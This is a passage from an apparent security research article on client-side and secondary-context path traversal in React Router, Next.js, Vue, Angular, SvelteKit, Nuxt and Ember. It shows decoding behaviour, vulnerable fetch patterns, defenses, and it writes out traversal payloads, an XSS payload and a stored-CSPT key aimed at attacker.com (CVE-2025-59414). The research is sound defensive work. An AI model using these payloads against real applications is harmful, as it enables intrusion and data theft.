<p>Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=../../attachments/malicious</code> and the fetch hits <code class="language-plaintext highlighter-rouge">/api/attachments/malicious</code> instead of <code class="language-plaintext highlighter-rouge">/api/widgets/...</code>. If that attachment is an HTML file the attacker uploaded, you’ve got stored XSS through CSPT.</p>

<p>The only safe source in React Router is <code class="language-plaintext highlighter-rouge">useLocation().pathname</code>, which preserves <code class="language-plaintext highlighter-rouge">%2F</code> encoding. Everything else decodes.</p>

<hr />

<h4 id="nextjs-2">Next.js</h4>

<p>Unlike getParamValue, <code class="language-plaintext highlighter-rouge">await params</code> has split behavior depending on where you call it. Page components, layout components, and <code class="language-plaintext highlighter-rouge">useParams()</code> all go through <code class="language-plaintext highlighter-rouge">getParamValue()</code>, which re-encodes. Route handlers skip that function entirely. In a route handler, <code class="language-plaintext highlighter-rouge">await params</code> receives decoded values directly from <code class="language-plaintext highlighter-rouge">getRouteMatcher()</code>, which does <code class="language-plaintext highlighter-rouge">match.split('/').map(decode)</code>. The framework uses the same API in both contexts but applies completely different encoding behavior under the hood. The same API name, two opposite behaviors.</p>

<table>
  <thead>
    <tr>
      <th>Context</th>
      <th><code class="language-plaintext highlighter-rouge">%2F</code> in URL</th>
      <th>What <code class="language-plaintext highlighter-rouge">await params</code> returns</th>
      <th>CSPT?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Page server component</td>
      <td><code class="language-plaintext highlighter-rouge">/files/a%2Fb</code></td>
      <td><code class="language-plaintext highlighter-rouge">["a%2Fb"]</code> (re-encoded)</td>
      <td>Safe</td>
    </tr>
    <tr>
      <td>Route handler</td>
      <td><code class="language-plaintext highlighter-rouge">/api/content/a%2Fb</code></td>
      <td><code class="language-plaintext highlighter-rouge">["a", "b"]</code> (decoded to <code class="language-plaintext highlighter-rouge">/</code>)</td>
      <td><strong>Exploitable</strong></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">useParams()</code> (client)</td>
      <td><code class="language-plaintext highlighter-rouge">/files/a%2Fb</code></td>
      <td><code class="language-plaintext highlighter-rouge">"a%2Fb"</code> (re-encoded)</td>
      <td>Safe</td>
    </tr>
  </tbody>
</table>

<p>Why does this matter? Because the common Next.js pattern is a page component that reads params and passes them to a client component, which fetches to a route handler. The page component does nothing wrong. It doesn’t decode anything. But the re-encoded <code class="language-plaintext highlighter-rouge">%2F</code> in the fetch URL gets sent to the route handler, and the route handler’s <code class="language-plaintext highlighter-rouge">await params</code> decodes it automatically before the developer’s code ever touches it. The developer never opted into decoding. It’s just how route handler param parsing works.</p>

<p>Here’s the attack chain:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Attacker navigates to:
   /cspt-await-params/docs/getting-started/..%2F..%2Finternal%2Fcredentials

2. Page server component reads await params:
   path = ["docs", "getting-started", "..%2F..%2Finternal%2Fcredentials"]
   // Re-encoded. %2F stays %2F, safe at this layer

3. Page joins and passes to client component:
   filePath = "docs/getting-started/..%2F..%2Finternal%2Fcredentials"

4. Client component fetches:
   fetch(`/api/content/${filePath}`)
   // Browser sends: GET /api/content/docs/getting-started/..%2F..%2Finternal%2Fcredentials

5. Route handler reads await params:
   path = ["docs", "getting-started", "..", "..", "internal", "credentials"]
   // DECODED. %2F became / and split into separate array elements

6. Route handler joins:
   path.join("/") → "docs/getting-started/../../internal/credentials"
   // Path traversal is now live
</code></pre></div></div>

<p>This is not client side path traversal. This is secondary context path traversal. The encoded path is sent to the server, which decodes it and passes the decoded value into a backend fetch. This is potentially more impactful because the server often has access to internal resources that the client does not. If the route handler is fetching from an internal API or reading from the filesystem, the traversal primitive could reach sensitive data.</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/api/content/[...path]/route.ts</span>
<span class="k">export</span> <span class="k">async</span> <span class="kd">function</span> <span class="nx">GET</span><span class="p">(</span><span class="nx">request</span><span class="p">,</span> <span class="p">{</span> <span class="nx">params</span> <span class="p">})</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="p">{</span> <span class="nx">path</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">params</span><span class="p">;</span>
  <span class="c1">// path is ALREADY decoded: ["docs", "getting-started", "..", "..", "internal", "credentials"]</span>
  <span class="kd">const</span> <span class="nx">fullPath</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">);</span>
  <span class="c1">// "docs/getting-started/../../internal/credentials"</span>
  <span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`https://backend.internal/</span><span class="p">${</span><span class="nx">fullPath</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h4 id="vue-router">Vue Router</h4>

<p>The result is the most exploitable param-to-fetch pipeline of any framework:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">route</span> <span class="o">=</span> <span class="nx">useRoute</span><span class="p">();</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">data</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useFetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/api/products/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">route</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">productId</span><span class="p">);</span>
<span class="c1">// fetch goes to /api/products/../../admin → /api/admin</span>
</code></pre></div></div>

<p>The most dangerous pattern is when the fetched response flows into <code class="language-plaintext highlighter-rouge">v-html</code>, which is Vue’s equivalent of React’s <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>. This turns CSPT into XSS:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// query param decoded: widget = "../../attachments/malicious"</span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="s2">`/api/widgets/</span><span class="p">${</span><span class="nx">widget</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">res</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>
<span class="c1">// v-html renders data.body directly into the DOM</span>
</code></pre></div></div>

<p>Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=..%2F..%2Fattachments%2Fmalicious</code> and the fetch hits <code class="language-plaintext highlighter-rouge">/api/attachments/malicious</code> instead of <code class="language-plaintext highlighter-rouge">/api/widgets/...</code>. If the attacker uploaded an HTML file as an attachment, <code class="language-plaintext highlighter-rouge">v-html</code> renders it and the script executes.</p>

<p>The only safe sources in Vue Router are <code class="language-plaintext highlighter-rouge">route.path</code> and <code class="language-plaintext highlighter-rouge">route.fullPath</code>, which preserve <code class="language-plaintext highlighter-rouge">%2F</code> encoding. Everything else decodes.</p>

<hr />

<h4 id="angular-2">Angular</h4>

<p>The sink in Angular apps is <code class="language-plaintext highlighter-rouge">HttpClient.get()</code> (or <code class="language-plaintext highlighter-rouge">.post()</code>, <code class="language-plaintext highlighter-rouge">.put()</code>, etc.). The decoded param gets interpolated into the URL string, and the browser resolves the <code class="language-plaintext highlighter-rouge">../</code> before sending the request.</p>

<p>The most dangerous combination is when the <code class="language-plaintext highlighter-rouge">HttpClient</code> response flows into <code class="language-plaintext highlighter-rouge">[innerHTML]</code> with <code class="language-plaintext highlighter-rouge">bypassSecurityTrustHtml()</code>. Angular sanitizes <code class="language-plaintext highlighter-rouge">[innerHTML]</code> by default, but <code class="language-plaintext highlighter-rouge">bypassSecurityTrustHtml()</code> explicitly disables that protection. This is Angular’s equivalent of React’s <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>, and it turns CSPT into XSS the same way.</p>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Decoded?</th>
      <th>Sink</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">paramMap.get()</code></td>
      <td>YES, <code class="language-plaintext highlighter-rouge">decode()</code> calls <code class="language-plaintext highlighter-rouge">decodeURIComponent</code></td>
      <td><code class="language-plaintext highlighter-rouge">HttpClient.get(url)</code></td>
      <td>High</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">paramMap.pipe(switchMap(...))</code></td>
      <td>YES, same decode, Observable pattern</td>
      <td><code class="language-plaintext highlighter-rouge">HttpClient.get(url)</code></td>
      <td>High</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">queryParamMap.get()</code></td>
      <td>YES, <code class="language-plaintext highlighter-rouge">decodeQuery()</code> decodes</td>
      <td><code class="language-plaintext highlighter-rouge">HttpClient.get(url)</code></td>
      <td>High</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">queryParamMap.get()</code></td>
      <td>YES</td>
      <td><code class="language-plaintext highlighter-rouge">router.navigate([value])</code></td>
      <td>High (open redirect)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">snapshot.paramMap.get()</code></td>
      <td>YES, same decode pipeline</td>
      <td><code class="language-plaintext highlighter-rouge">HttpClient.get(url)</code></td>
      <td>High</td>
    </tr>
    <tr>
      <td>Route Resolver <code class="language-plaintext highlighter-rouge">paramMap</code></td>
      <td>YES, decoded before resolver runs</td>
      <td><code class="language-plaintext highlighter-rouge">HttpClient.get(url)</code></td>
      <td>High</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">queryParamMap.get()</code></td>
      <td>YES</td>
      <td><code class="language-plaintext highlighter-rouge">HttpClient</code> + <code class="language-plaintext highlighter-rouge">bypassSecurityTrustHtml</code> + <code class="language-plaintext highlighter-rouge">[innerHTML]</code></td>
      <td>Critical</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">router.url</code></td>
      <td>NO, preserves %2F encoding</td>
      <td>any</td>
      <td>Safe</td>
    </tr>
  </tbody>
</table>

<p>The only safe Angular source for URL-derived values is <code class="language-plaintext highlighter-rouge">router.url</code>.</p>

<hr />

<h4 id="sveltekit">SvelteKit</h4>

<p>On client-side navigation, the browser’s native <code class="language-plaintext highlighter-rouge">fetch()</code> resolves the <code class="language-plaintext highlighter-rouge">../</code> before sending the request. On initial page load (SSR), SvelteKit’s server-side enhanced fetch resolves it internally. Either way, the traversal lands.</p>

<p>But the real escalation in SvelteKit is <code class="language-plaintext highlighter-rouge">+page.server.ts</code>. Server-only load functions execute with internal network access and can reach services the client cannot:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/routes/data/[dataId]/+page.server.ts</span>
<span class="k">export</span> <span class="kd">const</span> <span class="nx">load</span> <span class="o">=</span> <span class="k">async</span> <span class="p">({</span> <span class="nx">params</span> <span class="p">})</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">dataId</span> <span class="o">=</span> <span class="nx">params</span><span class="p">.</span><span class="nx">dataId</span><span class="p">;</span> <span class="c1">// decoded, traversal payload arrives here</span>
  <span class="kd">const</span> <span class="nx">doc</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`http://internal-service.local/data/</span><span class="p">${</span><span class="nx">dataId</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="k">return</span> <span class="p">{</span> <span class="na">data</span><span class="p">:</span> <span class="k">await</span> <span class="nx">doc</span><span class="p">.</span><span class="nx">json</span><span class="p">()</span> <span class="p">};</span>
<span class="p">};</span>
</code></pre></div></div>

<p>This is secondary context path traversal, analogous to Next.js route handlers. The fetch goes directly to the internal service. It does NOT pass through <code class="language-plaintext highlighter-rouge">hooks.server.ts</code>. So even if you have auth middleware in your hooks, a traversal from a server load function bypasses it entirely.</p>

<p>The most dangerous client-side combination is when the fetch response flows into <code class="language-plaintext highlighter-rouge">{@html}</code>, which is SvelteKit’s equivalent of <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code>. CSPT plus <code class="language-plaintext highlighter-rouge">{@html}</code> equals XSS, same as in React and Vue.</p>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Decoded?</th>
      <th>Context</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">params</code> in <code class="language-plaintext highlighter-rouge">+page.ts</code> (client nav)</td>
      <td>YES, <code class="language-plaintext highlighter-rouge">decode_params()</code></td>
      <td>Client-side fetch</td>
      <td>CSPT, <code class="language-plaintext highlighter-rouge">%2F</code> decoded to <code class="language-plaintext highlighter-rouge">/</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">params</code> in <code class="language-plaintext highlighter-rouge">+page.ts</code> (SSR)</td>
      <td>YES, <code class="language-plaintext highlighter-rouge">decode_params()</code> + server fetch decode</td>
      <td>Server-side fetch</td>
      <td>Secondary PT, server resolves <code class="language-plaintext highlighter-rouge">../</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">params</code> in <code class="language-plaintext highlighter-rouge">+page.server.ts</code></td>
      <td>YES, <code class="language-plaintext highlighter-rouge">decode_params()</code></td>
      <td>Server-only, internal network</td>
      <td>SSRF, can reach internal services</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">params</code> in <code class="language-plaintext highlighter-rouge">+server.ts</code></td>
      <td>YES, <code class="language-plaintext highlighter-rouge">decode_params()</code></td>
      <td>API endpoint, server-only</td>
      <td>SSRF, direct backend access</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">$page.params</code> in component</td>
      <td>YES, same pipeline</td>
      <td>Client-side reactive</td>
      <td>CSPT, reactive re-fetch on param change</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">url.searchParams</code> in load</td>
      <td>YES, standard URLSearchParams</td>
      <td>Any</td>
      <td>CSPT, no segment boundary constraint</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%252F</code> (double-encoded)</td>
      <td>NO, <code class="language-plaintext highlighter-rouge">%25</code>-split blocks</td>
      <td>Any</td>
      <td><strong>Safe</strong>, stays as literal <code class="language-plaintext highlighter-rouge">%2F</code></td>
    </tr>
  </tbody>
</table>

<p>SvelteKit’s param matcher defense is the best I’ve seen in any framework:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/params/id.ts</span>
<span class="k">export</span> <span class="kd">function</span> <span class="nx">match</span><span class="p">(</span><span class="nx">param</span><span class="p">:</span> <span class="kr">string</span><span class="p">):</span> <span class="nx">boolean</span> <span class="p">{</span>
  <span class="k">return</span> <span class="sr">/^</span><span class="se">[</span><span class="sr">a-zA-Z0-9-_</span><span class="se">]</span><span class="sr">+$/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">param</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Usage: src/routes/user/[id=id]/+page.svelte</span>
</code></pre></div></div>

<p>If the param doesn’t match the pattern, the entire route fails to match. Traversal payloads get rejected at the routing level, before any load function executes. It’s opt-in, not default, but when used, it’s the strongest framework-level defense available. No other framework offers route-level param validation that prevents the load function from even running.</p>

<hr />

<h4 id="nuxt-2">Nuxt</h4>

<p>The primary client-side sink is <code class="language-plaintext highlighter-rouge">useFetch()</code> and <code class="language-plaintext highlighter-rouge">$fetch()</code>. Nuxt’s data-fetching composables pass the URL string directly to <code class="language-plaintext highlighter-rouge">globalThis.$fetch</code> with zero sanitization:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// nuxt/dist/app/composables/fetch.js:64</span>
<span class="k">return</span> <span class="nx">_$fetch</span><span class="p">(</span><span class="nx">_request</span><span class="p">.</span><span class="nx">value</span><span class="p">,</span> <span class="p">{</span> <span class="nx">signal</span><span class="p">,</span> <span class="p">...</span><span class="nx">_fetchOptions</span> <span class="p">});</span>
</code></pre></div></div>

<p>The standard CSPT pattern:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// pages/users/[id].vue</span>
<span class="kd">const</span> <span class="nx">route</span> <span class="o">=</span> <span class="nx">useRoute</span><span class="p">();</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">data</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useFetch</span><span class="p">(</span><span class="s2">`/api/users/</span><span class="p">${</span><span class="nx">route</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">id</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// route.params.id = "../../admin" (decoded by Vue Router)</span>
<span class="c1">// fetch URL: /api/users/../../admin</span>
<span class="c1">// Browser resolves: GET /api/admin</span>
</code></pre></div></div>

<p>Multi-param routes double the attack surface. <code class="language-plaintext highlighter-rouge">/shop/..%2F..%2Fadmin/..%2Fusers</code> gives <code class="language-plaintext highlighter-rouge">route.params.category = "../../admin"</code> and <code class="language-plaintext highlighter-rouge">route.params.productId = "../users"</code>. A fetch to <code class="language-plaintext highlighter-rouge">/api/shop/${category}/products/${productId}</code> resolves to <code class="language-plaintext highlighter-rouge">/api/admin/users</code>.</p>

<p>The server-side sink is where Nuxt diverges from standalone Vue. Server routes under <code class="language-plaintext highlighter-rouge">server/api/</code> execute with full network access and can reach internal services. The common proxy pattern is the most dangerous:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// server/api/proxy/[...path].ts</span>
<span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">context</span><span class="p">.</span><span class="nx">params</span><span class="p">?.</span><span class="nx">path</span> <span class="o">||</span> <span class="dl">""</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">$fetch</span><span class="p">(</span><span class="s2">`https://backend.internal/</span><span class="p">${</span><span class="nx">path</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
</code></pre></div></div>

<p>Even without explicit decoding, if the backend normalizes the URL, the traversal can land. And if the developer adds <code class="language-plaintext highlighter-rouge">{ decode: true }</code> to <code class="language-plaintext highlighter-rouge">getRouterParam()</code>, the traversal is fully decoded before reaching the internal fetch. This once again opens the door for secondary context path traversal</p>

<p>The most dangerous client-side combination is <code class="language-plaintext highlighter-rouge">v-html</code> with an API response that the attacker controls via CSPT:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// pages/dashboard/stats.vue</span>
<span class="kd">const</span> <span class="nx">route</span> <span class="o">=</span> <span class="nx">useRoute</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">widget</span> <span class="o">=</span> <span class="nx">route</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">widget</span><span class="p">;</span>
<span class="kd">const</span> <span class="p">{</span> <span class="na">data</span><span class="p">:</span> <span class="nx">widgetHtml</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useFetch</span><span class="p">(</span><span class="s2">`/api/widgets/</span><span class="p">${</span><span class="nx">widget</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// template: &lt;div v-html="widgetHtml" /&gt;</span>
</code></pre></div></div>

<p>Navigate to <code class="language-plaintext highlighter-rouge">/dashboard/stats?widget=../../attachments/malicious</code> and the fetch hits <code class="language-plaintext highlighter-rouge">/api/attachments/malicious</code> instead of <code class="language-plaintext highlighter-rouge">/api/widgets/...</code>. If the attacker uploaded HTML as an attachment, <code class="language-plaintext highlighter-rouge">v-html</code> renders it. CSPT to XSS, same as in standalone Vue.</p>

<p>Nuxt also has a unique attack surface that no other framework shares: island component payload revival. The <code class="language-plaintext highlighter-rouge">revive-payload.client.js</code> plugin deserializes island data from the <code class="language-plaintext highlighter-rouge">window.__NUXT__</code> payload and fetches component data using a key from that payload:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// revive-payload.client.js:20</span>
<span class="nx">nuxtApp</span><span class="p">.</span><span class="nx">payload</span><span class="p">.</span><span class="nx">data</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">||=</span> <span class="nx">$fetch</span><span class="p">(</span><span class="s2">`/__nuxt_island/</span><span class="p">${</span><span class="nx">key</span><span class="p">}</span><span class="s2">.json`</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">responseType</span><span class="p">:</span> <span class="dl">"</span><span class="s2">json</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">...(</span><span class="nx">params</span> <span class="p">?</span> <span class="p">{</span> <span class="nx">params</span> <span class="p">}</span> <span class="p">:</span> <span class="p">{}),</span>
<span class="p">});</span>
</code></pre></div></div>

<p>If an attacker can poison the payload (via cache poisoning, stored injection, or MITM on the initial HTML), the key can traverse the <code class="language-plaintext highlighter-rouge">$fetch</code> URL to any same-origin endpoint. The <code class="language-plaintext highlighter-rouge">.json</code> suffix gets appended, but a query parameter absorbs it: <code class="language-plaintext highlighter-rouge">key = "../../api/proxy/attacker.com?x="</code> produces <code class="language-plaintext highlighter-rouge">$fetch("/__nuxt_island/../../api/proxy/attacker.com?x=.json")</code>, which resolves to <code class="language-plaintext highlighter-rouge">/api/proxy/attacker.com?x=.json</code>. This is stored CSPT. The payload is set once, and every client that loads the page fires the traversed fetch. This was assigned CVE-2025-59414.</p>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Decoded?</th>
      <th>Context</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">route.params.*</code> in <code class="language-plaintext highlighter-rouge">useFetch</code></td>
      <td>YES, Vue Router <code class="language-plaintext highlighter-rouge">decodeParams()</code></td>
      <td>Client-side fetch</td>
      <td>CSPT, <code class="language-plaintext highlighter-rouge">%2F</code> decoded to <code class="language-plaintext highlighter-rouge">/</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">route.query.*</code> in <code class="language-plaintext highlighter-rouge">useFetch</code></td>
      <td>YES, Vue Router <code class="language-plaintext highlighter-rouge">parseQuery()</code></td>
      <td>Client-side fetch</td>
      <td>CSPT, no segment boundary</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">route.hash</code></td>
      <td>YES, Vue Router <code class="language-plaintext highlighter-rouge">decode()</code></td>
      <td>Client-side</td>
      <td>CSPT if interpolated into fetch</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id')</code></td>
      <td>NO, raw by default</td>
      <td>Server-side fetch</td>
      <td>Safe unless <code class="language-plaintext highlighter-rouge">{ decode: true }</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">getRouterParam(event, 'id', { decode: true })</code></td>
      <td>YES</td>
      <td>Server-side fetch</td>
      <td>SSRF, full traversal</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">event.context.params.*</code></td>
      <td>NO, raw from radix3</td>
      <td>Server-side</td>
      <td>Safe unless manually decoded</td>
    </tr>
    <tr>
      <td>Island payload <code class="language-plaintext highlighter-rouge">key</code> in <code class="language-plaintext highlighter-rouge">$fetch</code></td>
      <td>N/A (stored value)</td>
      <td>Client-side, stored</td>
      <td>Stored CSPT (CVE-2025-59414)</td>
    </tr>
  </tbody>
</table>

<p>The safe sources in Nuxt are <code class="language-plaintext highlighter-rouge">route.path</code> and <code class="language-plaintext highlighter-rouge">route.fullPath</code> on the client (which preserve <code class="language-plaintext highlighter-rouge">%2F</code> encoding), and <code class="language-plaintext highlighter-rouge">getRouterParam()</code> without the decode option on the server.</p>

<hr />

<h4 id="ember-2">Ember</h4>

<p>The primary sink in Ember is <code class="language-plaintext highlighter-rouge">fetch()</code> in the model hook. This is the standard pattern in every Ember app:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// app/routes/user.js</span>
<span class="k">export</span> <span class="k">default</span> <span class="kd">class</span> <span class="nx">UserRoute</span> <span class="kd">extends</span> <span class="nx">Route</span> <span class="p">{</span>
  <span class="nx">model</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/users/</span><span class="p">${</span><span class="nx">params</span><span class="p">.</span><span class="nx">user_id</span><span class="p">}</span><span class="s2">`</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="c1">// params.user_id = "../../admin" → fetch("/api/admin")</span>
</code></pre></div></div>

<p>Ember also has a second sink that’s unique to its ecosystem: Ember Data adapters (now WarpDrive). The adapter pattern builds API URLs from model names and IDs, and the default <code class="language-plaintext highlighter-rouge">urlForFindRecord</code> does not encode:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Vulnerable adapter pattern</span>
<span class="nx">urlForFindRecord</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">modelName</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="s2">`/api/</span><span class="p">${</span><span class="nx">modelName</span><span class="p">}</span><span class="s2">s/</span><span class="p">${</span><span class="nx">id</span><span class="p">}</span><span class="s2">`</span><span class="p">;</span>  <span class="c1">// No encodeURIComponent!</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When a route’s model hook calls <code class="language-plaintext highlighter-rouge">this.store.findRecord('user', params.user_id)</code>, the decoded param flows through the adapter’s URL builder. The traversal payload <code class="language-plaintext highlighter-rouge">../../admin</code> becomes part of the fetch URL without any encoding. This is an indirect CSPT sink. The developer never calls <code class="language-plaintext highlighter-rouge">fetch()</code> directly. The framework’s data layer does it for them, and the adapter doesn’t sanitize.</p>

<p>The XSS escalation in Ember uses triple-curly syntax <code class="language-plaintext highlighter-rouge">{{{ }}}</code> instead of <code class="language-plaintext highlighter-rouge">dangerouslySetInnerHTML</code> or <code class="language-plaintext highlighter-rouge">v-html</code>. In Handlebars, double curlies <code class="language-plaintext highlighter-rouge">{{ }}</code> escape HTML. Triple curlies render raw HTML. In production builds, triple curlies compile to Glimmer VM <code class="language-plaintext highlighter-rouge">appendHTML</code> opcodes, which call <code class="language-plaintext highlighter-rouge">insertAdjacentHTML('beforeend', html)</code> on the DOM element. Functionally identical to <code class="language-plaintext highlighter-rouge">innerHTML</code>.</p>

<div class="language-handlebars highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">{{! dashboard/stats.hbs }}</span>
<span class="k">{{{</span><span class="nv">this</span><span class="p">.</span><span class="nv">model</span><span class="p">.</span><span class="nv">content</span><span class="k">}}}</span>
</code></pre></div></div>

<p>If CSPT redirects a fetch to an attacker-controlled endpoint that returns HTML, and that HTML flows into a triple-curly template, you get XSS. The chain: query param decoded → interpolated into fetch URL → fetch hits attacker endpoint → response contains <code class="language-plaintext highlighter-rouge">&lt;img onerror=alert(1)&gt;</code> → triple curlies render it → script executes.</p>

<p>Ember also has <code class="language-plaintext highlighter-rouge">htmlSafe()</code> from <code class="language-plaintext highlighter-rouge">@ember/template</code>, which programmatically marks a string as safe for HTML rendering. Any component that wraps API response data in <code class="language-plaintext highlighter-rouge">htmlSafe()</code> before rendering is an XSS sink when combined with CSPT.</p>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Decoded?</th>
      <th>Sink</th>
      <th>Risk</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">params.*</code> in model hook (<code class="language-plaintext highlighter-rouge">:param</code>)</td>
      <td>YES, <code class="language-plaintext highlighter-rouge">findHandler()</code> → <code class="language-plaintext highlighter-rouge">decodeURIComponent</code></td>
      <td><code class="language-plaintext highlighter-rouge">fetch(url)</code></td>
      <td>High, CSPT</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">params.*</code> in model hook (<code class="language-plaintext highlighter-rouge">*wildcard</code>)</td>
      <td>Partial (normalized, not final-decoded)</td>
      <td><code class="language-plaintext highlighter-rouge">fetch(url)</code></td>
      <td>High, literal <code class="language-plaintext highlighter-rouge">../</code> works</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">this.paramsFor(routeName)</code></td>
      <td>YES, same pipeline</td>
      <td><code class="language-plaintext highlighter-rouge">fetch(url)</code></td>
      <td>High, ancestor params</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">this.router.currentRoute.params</code></td>
      <td>YES, same pipeline</td>
      <td><code class="language-plaintext highlighter-rouge">fetch(url)</code></td>
      <td>High</td>
    </tr>
    <tr>
      <td>Query params in model hook</td>
      <td>YES, browser-decoded</td>
      <td><code class="language-plaintext highlighter-rouge">fetch(url)</code></td>
      <td>High, no segment boundary</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">window.location.hash</code> (hash routing)</td>
      <td>Raw, client-controlled</td>
      <td>Router pipeline</td>
      <td>High, full path control</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">transition.to.queryParams</code></td>
      <td>YES</td>
      <td><code class="language-plaintext highlighter-rouge">transitionTo(value)</code></td>
      <td>Medium, open redirect</td>
    </tr>
    <tr>
